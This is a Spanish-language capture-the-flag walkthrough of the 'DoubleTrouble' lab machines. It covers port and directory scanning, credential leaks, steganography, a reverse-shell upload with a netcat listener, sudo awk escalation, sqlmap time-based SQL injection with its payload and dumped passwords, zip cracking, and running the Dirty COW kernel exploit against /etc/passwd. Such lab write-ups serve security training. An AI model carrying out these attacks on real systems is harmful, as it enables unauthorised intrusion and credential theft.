Escaneo de puertos

```
nmap -p- --min-rate 5000 -sS <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 14:35 CEST
Nmap scan report for 192.168.28.36
Host is up (0.00035s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
|   256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_  256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: qdPM | Login
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:09:08:24 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.35 ms 192.168.28.36

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.27 seconds
```

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST>
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.28.36/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
```

```
===============================================================
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/backups              (Status: 301) [Size: 316] [--> http://192.168.28.36/backups/]
/batch                (Status: 301) [Size: 314] [--> http://192.168.28.36/batch/]
/core                 (Status: 301) [Size: 313] [--> http://192.168.28.36/core/]
/css                  (Status: 301) [Size: 312] [--> http://192.168.28.36/css/]
/favicon.ico          (Status: 200) [Size: 894]
/images               (Status: 301) [Size: 315] [--> http://192.168.28.36/images/]
/install              (Status: 301) [Size: 316] [--> http://192.168.28.36/install/]
/js                   (Status: 301) [Size: 311] [--> http://192.168.28.36/js/]
/robots.txt           (Status: 200) [Size: 26]
/secret               (Status: 301) [Size: 315] [--> http://192.168.28.36/secret/]
/server-status        (Status: 403) [Size: 278]
/sf                   (Status: 301) [Size: 311] [--> http://192.168.28.36/sf/]
/template             (Status: 301) [Size: 317] [--> http://192.168.28.36/template/]
/uploads              (Status: 301) [Size: 316] [--> http://192.168.28.36/uploads/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
```

Si utilizamos un exploit caracteristico de estas paginas...

```
URL = http://<IP>/core/config/databases.yml
```

Nos descarga un archivo de configuracion con las credenciales de un usuario admin para `mysql` pero como no esta abierto el puerto de `mysql` nos guardaremos las credenciales por si acaso...

```
User = otis
Password = rush
```

Y si nos vamos a la URL de la ubicacion de la carpeta `/secret/` nos encontraremos una imagen en la que pone un letrero el usuario y contraseña que nos encontramos anteriormente...

Ejecutamos el siguiente coamando para extraer los archivos ocultos de esa iamgen...

```
stegseek doubletrouble.jpg
```

Info:

```
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "92camaro"

[i] Original filename: "creds.txt".
[i] Extracting to "doubletrouble.jpg.out".
```

Nos extraera 1 archivo llamado `doubletrouble.jpg.out` que si lo abrimos dice lo siguiente...

```
otisrush@localhost.com
otis666

#Por lo que es un usuario y contraseña para el login
user = otisrush@localhost.com
password = otis666
```

Una vez dentro de este panel de login, vemos que somos administradores, por lo que creamo un nuevo proyecto y adjuntamos un archivo con una `Reverse Shell` y una vez hecho eso nos vamos a la `URL` de `/uploads/` donde se encontrara el archivo, lo clicamos estando a la escucha y ya seriamos `www-data`...

```
nc -lvnp <PORT>
```

Despues de que hagamos conexion con la Reverse Shell la sanitizamos...

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Dentro del servidor ejecutamos el siguiente comando...

```
ss -nltp
```

Info:

```
State     Recv-Q    Send-Q       Local Address:Port        Peer Address:Port
LISTEN    0         80               127.0.0.1:3306             0.0.0.0:*
LISTEN    0         128                0.0.0.0:22               0.0.0.0:*
LISTEN    0         128                      *:80                     *:*
```

Vemos que hay un `mysql` corriendo dentro del servidor, a parte de que tenemos las credenciales de `mysql`, hacemos lo siguiente...

```
mysql -h 127.0.0.1 -u otis -prush
```

Pero no hay mucha cosa dentro de `mysql`...

Pero si hacemos `sudo -l` veremos lo siguiente...

```
Matching Defaults entries for www-data on doubletrouble:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User www-data may run the following commands on doubletrouble:
    (ALL : ALL) NOPASSWD: /usr/bin/awk
```

Por lo que pondremos el siguiente comando...

```
sudo awk 'BEGIN {system("/bin/sh")}'
```

Con esto ya seriamos `root` pero por lo que vemos tenemos otra maquina dentro llamada `doubletrouble.ova`...

Escaneo de puertos

```
nmap -p- --min-rate 5000 -sS <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 17:12 CEST
Nmap scan report for 192.168.28.37
Host is up (0.00044s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u4 (protocol 2.0)
| ssh-hostkey:
|   1024 e8:4f:84:fc:7a:20:37:8b:2b:f3:14:a9:54:9e:b7:0f (DSA)
|   2048 0c:10:50:f5:a2:d8:74:f1:94:c5:60:d7:1a:78:a4:e6 (RSA)
|_  256 05:03:95:76:0c:7f:ac:db:b2:99:13:7e:9c:26:ca:d1 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:2A:55:9E (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.44 ms 192.168.28.37

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.85 seconds
```

Puerto 80

Si nos vamos a la pagina web que aparece en el puerto 80 veremos un formulario de login que parece vulnerable a MYSQL Injection...

Lo que hacemos ahora es con BurpSuit capturamos la peticion del login y lo guardamos en un `.txt` para probar si es inyectable...

```
sqlmap -r <FILE_REQUEST> --level 5 --risk 3 --dbms=mysql --dbs
```

Info:

```
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.11#stable}
|_ -| . [()]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable local,
state and federal laws. Developers assume no liability and are not responsible for
any misuse or damage caused by this program
```

```
[*] starting @ 17:21:11 /2024-05-19/

[17:21:11] [INFO] parsing HTTP request from 'request.txt'
[17:21:11] [INFO] testing connection to the target URL
[17:21:11] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:21:11] [INFO] testing if the target URL content is stable
[17:21:12] [INFO] target URL content is stable
[17:21:12] [INFO] testing if POST parameter 'uname' is dynamic
[17:21:12] [WARNING] POST parameter 'uname' does not appear to be dynamic
[17:21:12] [WARNING] heuristic (basic) test shows that POST parameter 'uname' might
not be injectable
[17:21:12] [INFO] testing for SQL injection on POST parameter 'uname'
[17:21:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:21:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[17:21:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[17:21:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery
- comment)'
[17:21:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery
- comment)'
[17:21:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(comment)'
[17:21:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'
[17:21:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT -
comment)'
[17:21:13] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[17:21:13] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[17:21:13] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original
value)'
[17:21:13] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[17:21:13] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original
value)'
[17:21:13] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'
[17:21:13] [INFO] testing 'Generic inline queries'
[17:21:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL
comment)'
[17:21:13] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL
comment)'
[17:21:13] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT -
MySQL comment)'
[17:21:13] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
or GROUP BY clause'
[17:21:13] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause (MAKE_SET)'
[17:21:13] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause (MAKE_SET)'
[17:21:13] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause (ELT)'
[17:21:13] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause (ELT)'
[17:21:13] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause (bool*int)'
[17:21:13] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause (bool*int)'
[17:21:13] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)'
```

```
[17:21:13] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET -
original value)'
[17:21:13] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)'
[17:21:13] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -
original value)'
[17:21:13] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int)'
[17:21:13] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -
original value)'
[17:21:13] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY
clause'
[17:21:13] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY
clause (original value)'
[17:21:13] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY
clause'
[17:21:13] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY
clause (original value)'
[17:21:13] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Stacked queries'
[17:21:13] [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries'
[17:21:13] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (BIGINT UNSIGNED)'
[17:21:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause
(BIGINT UNSIGNED)'
[17:21:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (EXP)'
[17:21:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause
(EXP)'
[17:21:14] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (GTID_SUBSET)'
[17:21:14] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause
(GTID_SUBSET)'
[17:21:14] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (JSON_KEYS)'
[17:21:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause
(JSON_KEYS)'
[17:21:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)'
[17:21:14] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)'
[17:21:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (EXTRACTVALUE)'
[17:21:15] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (EXTRACTVALUE)'
[17:21:15] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (UPDATEXML)'
[17:21:15] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (UPDATEXML)'
[17:21:15] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)'
[17:21:15] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause
(FLOOR)'
[17:21:15] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[17:21:15] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE
(EXTRACTVALUE)'
[17:21:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT
UNSIGNED)'
```

```
[17:21:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[17:21:15] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace
(GTID_SUBSET)'
[17:21:15] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace
(JSON_KEYS)'
[17:21:15] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[17:21:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[17:21:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'
[17:21:15] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause
(BIGINT UNSIGNED)'
[17:21:15] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause
(EXP)'
[17:21:15] [INFO] testing 'MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause
(GTID_SUBSET)'
[17:21:15] [INFO] testing 'MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause
(JSON_KEYS)'
[17:21:15] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause
(FLOOR)'
[17:21:15] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause
(EXTRACTVALUE)'
[17:21:15] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause
(UPDATEXML)'
[17:21:15] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause
(FLOOR)'
[17:21:15] [INFO] testing 'MySQL inline queries'
[17:21:15] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[17:21:15] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[17:21:15] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[17:21:15] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[17:21:15] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[17:21:15] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[17:21:15] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:21:25] [INFO] POST parameter 'uname' appears to be 'MySQL >= 5.0.12 AND time-
based blind (query SLEEP)' injectable
[17:21:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:21:25] [INFO] automatically extending ranges for UNION query injection technique
tests as there is at least one other (potential) technique found
[17:21:26] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[17:21:26] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[17:21:26] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[17:21:26] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[17:21:26] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[17:21:26] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[17:21:26] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[17:21:26] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[17:21:26] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[17:21:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[17:21:26] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[17:21:26] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[17:21:26] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[17:21:26] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[17:21:26] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[17:21:26] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[17:21:26] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
```

```
[17:21:26] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[17:21:26] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[17:21:26] [INFO] checking if the injection point on POST parameter 'uname' is a
false positive
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 2443 HTTP(s)
requests:
```

Parameter: uname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=a' AND (SELECT 1506 FROM (SELECT(SLEEP(5)))CYso)-- mjzr&psw=a&btnLogin=Login

[17:22:29] [INFO] the back-end DBMS is MySQL
[17:22:29] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Debian 7 (wheezy)
web application technology: PHP 5.5.38, Apache 2.2.22
back-end DBMS: MySQL >= 5.0.12
[17:22:29] [INFO] fetching database names
[17:22:29] [INFO] fetching number of databases
[17:22:29] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
2
[17:22:42] [INFO] retrieved:
[17:22:47] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[17:23:43] [INFO] retrieved: doubletrouble
available databases [2]:
[*] *doubletrouble*
[*] information_schema

[17:24:25] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.28.37'
[17:24:25] [WARNING] your sqlmap version is outdated

[*] ending @ 17:24:25 /2024-05-19/

```
Vemos que hay una base de datos llamada ``doubletrouble``, vamos a tirar por ahi...

```shell
sqlmap -r <FILE_REQUEST> --dbms=mysql --level=3 --risk=3 -D <NAME_DB> --dump
```

Info:

```
        ___
       __H__
```
```

```
 ___ ___["]_____ ___ ___  {1.7.11#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable local,
state and federal laws. Developers assume no liability and are not responsible for
any misuse or damage caused by this program

[*] starting @ 17:26:47 /2024-05-19/

[17:26:47] [INFO] parsing HTTP request from 'request.txt'
[17:26:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
```

Parameter: uname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=a' AND (SELECT 1506 FROM (SELECT(SLEEP(5)))CYso)-- mjzr&psw=a&btnLogin=Login

[17:26:47] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[17:26:55] [INFO] confirming MySQL
[17:26:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[17:27:05] [INFO] adjusting time delay to 1 second due to good response times
[17:27:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7 (wheezy)
web application technology: PHP 5.5.38, Apache 2.2.22
back-end DBMS: MySQL >= 5.0.0
[17:27:05] [INFO] fetching tables for database: 'doubletrouble'
[17:27:05] [INFO] fetching number of tables for database 'doubletrouble'
[17:27:05] [INFO] retrieved: 1
[17:27:06] [INFO] retrieved: users
[17:27:21] [INFO] fetching columns for table 'users' in database 'doubletrouble'
[17:27:21] [INFO] retrieved: 2
[17:27:23] [INFO] retrieved: username
[17:27:46] [INFO] retrieved: password
[17:28:13] [INFO] fetching entries for table 'users' in database 'doubletrouble'
[17:28:13] [INFO] fetching number of entries for table 'users' in database 'doubletrouble'
[17:28:13] [INFO] retrieved: 2
[17:28:15] [WARNING] (case) time-based comparison requires reset of statistical model, please wait..... (done)
GfsZxc1
[17:28:40] [INFO] retrieved: montreux
[17:29:09] [INFO] retrieved: ZubZub99

[17:29:40] [INFO] retrieved: clapton
Database: doubletrouble
Table: users
[2 entries]
+----------+----------+
| password | username |
+----------+----------+
| GfsZxc1 | montreux |
| ZubZub99 | clapton |
+----------+----------+

[17:30:05] [INFO] table 'doubletrouble.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.28.37/dump/doubletrouble/users.csv'
[17:30:05] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.28.37'
[17:30:05] [WARNING] your sqlmap version is outdated

[*] ending @ 17:30:05 /2024-05-19/

```
Por lo que vemos nos saca unas credenciales...
```

User = montreux
Password = GfsZxc1

User = clapton
Password = ZubZub99

```
Con las credenciales del nombre ``clapton`` nos podremos meter por ``ssh``...

```shell
ssh clapton@<IP>
```

Una vez dentro leemos la flag del usuario...

> user.txt (flag1)

```
6CEA7A737C7C651F6DA7669109B5FB52
```

Si nos dirigimos a `/var/` descubrimos que hay un archivo `.zip` el cual nos vamos a descargar mediante un servidro de `python`...

```
python -m SimpleHTTPServer 8000
```

Y en la parte del `host`...

```
wget http://<IP>:8000/get.zip

unzip get.zip
```

Nos creara una carpeta llamada `www` y si entramos dentro de ella, veremos varios archivos...

```
drwxr-xr-x 3 root root  4096 mar 15  2021 .
drwxr-xr-x 6 kali kali  4096 may 19 17:43 ..
```
```

```
-rw-r--r-- 1 root root 53656 mar 15  2021 db.png
-rw-r--r-- 1 root root   750 mar 15  2021 index.html
-rw-r--r-- 1 root root   110 mar 15  2021 robots.txt
-rw-r--r-- 1 root root   179 mar 15  2021 spammer.zip
drwxr-xr-x 7 root root  4096 sep 13  2020 textpattern
```

Si abrimos el `.zip` veremos que tiene contraseña, por lo que utilizamos el `john`...

```
zip2john spammer.zip > hash
```

Info:

```
spammer.zip/creds.txt:$pkzip$1*1*2*0*1b*f*b003611d*0*27*0*1b*b003*2d41804a5ea9a60b176
9d045bfb94c71382b2e5febf63bda08a56c*$/pkzip$:creds.txt:spammer.zip::spammer.zip

john hash
```

Info:

```
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
myspace4         (spammer.zip/creds.txt)
1g 0:00:00:00 DONE 2/3 (2024-05-19 17:48) 12.50g/s 1101Kp/s 1101Kc/s 1101KC/s
charlie9..ship4
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Password = myspace4
```

Con esto habremos crackeado la contraseña del `.zip` y si vemos dentro del `.txt` con la contraseña...

```
mayer:lionheart
```

Veremos que son unas credenciales pero no nos sirven de mucho...

Volviendo al servidor con nuestro usuario, si hacemos el siguiente comando...

```
uname -a
```

Nos muestra la version del sistema operativo y si nos fijamos en le `kernel`...

```
Linux doubletrouble 3.2.0-4-amd64 #1 SMP Debian 3.2.78-1 x86_64 GNU/Linux
```

Info Kernel:

```
3.2.0-4-amd64
```

Si buscamos un exploit para esa version del kernel lo encontraremos y es un archivo `.c` por lo que lo tendremos que compilar, pero todo esto dentro del servidor, por lo que nos lo pasamos al servidor...

```
wget http://<IP>:8000/40839.c -P ~/Downloads
```

Una vez teniendo el exploit lo compilamos de la siguiente manera...

```
gcc -pthread 40839.c -o <NAME> -lcrypt
```

Lo ejecutamos...

```
time ./<COMPILATION_NAME> <USERNAME>
```

Info:

```
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: clapton
Complete line:
firefart:fiJruKh87szfw:0:0:pwned:/root:/bin/bash

mmap: 7f3448257000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'clapton'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

real    0m39.566s
user    0m1.900s
sys     0m17.869s
clapton@doubletrouble:~/Downloads$ madvise 0

Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'clapton'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
```

Y una vez hecho esto nos saca la contraseña de `root` por lo que hacemos lo siguiente...

```
su firefart
```

Metemos la contraseña que nos proporciono el exploit y ya seriamos `root`, leemos la flag de `root`...

root.txt (flag2)

```
1B8EEA89EA92CECB931E3CC25AA8DE21
```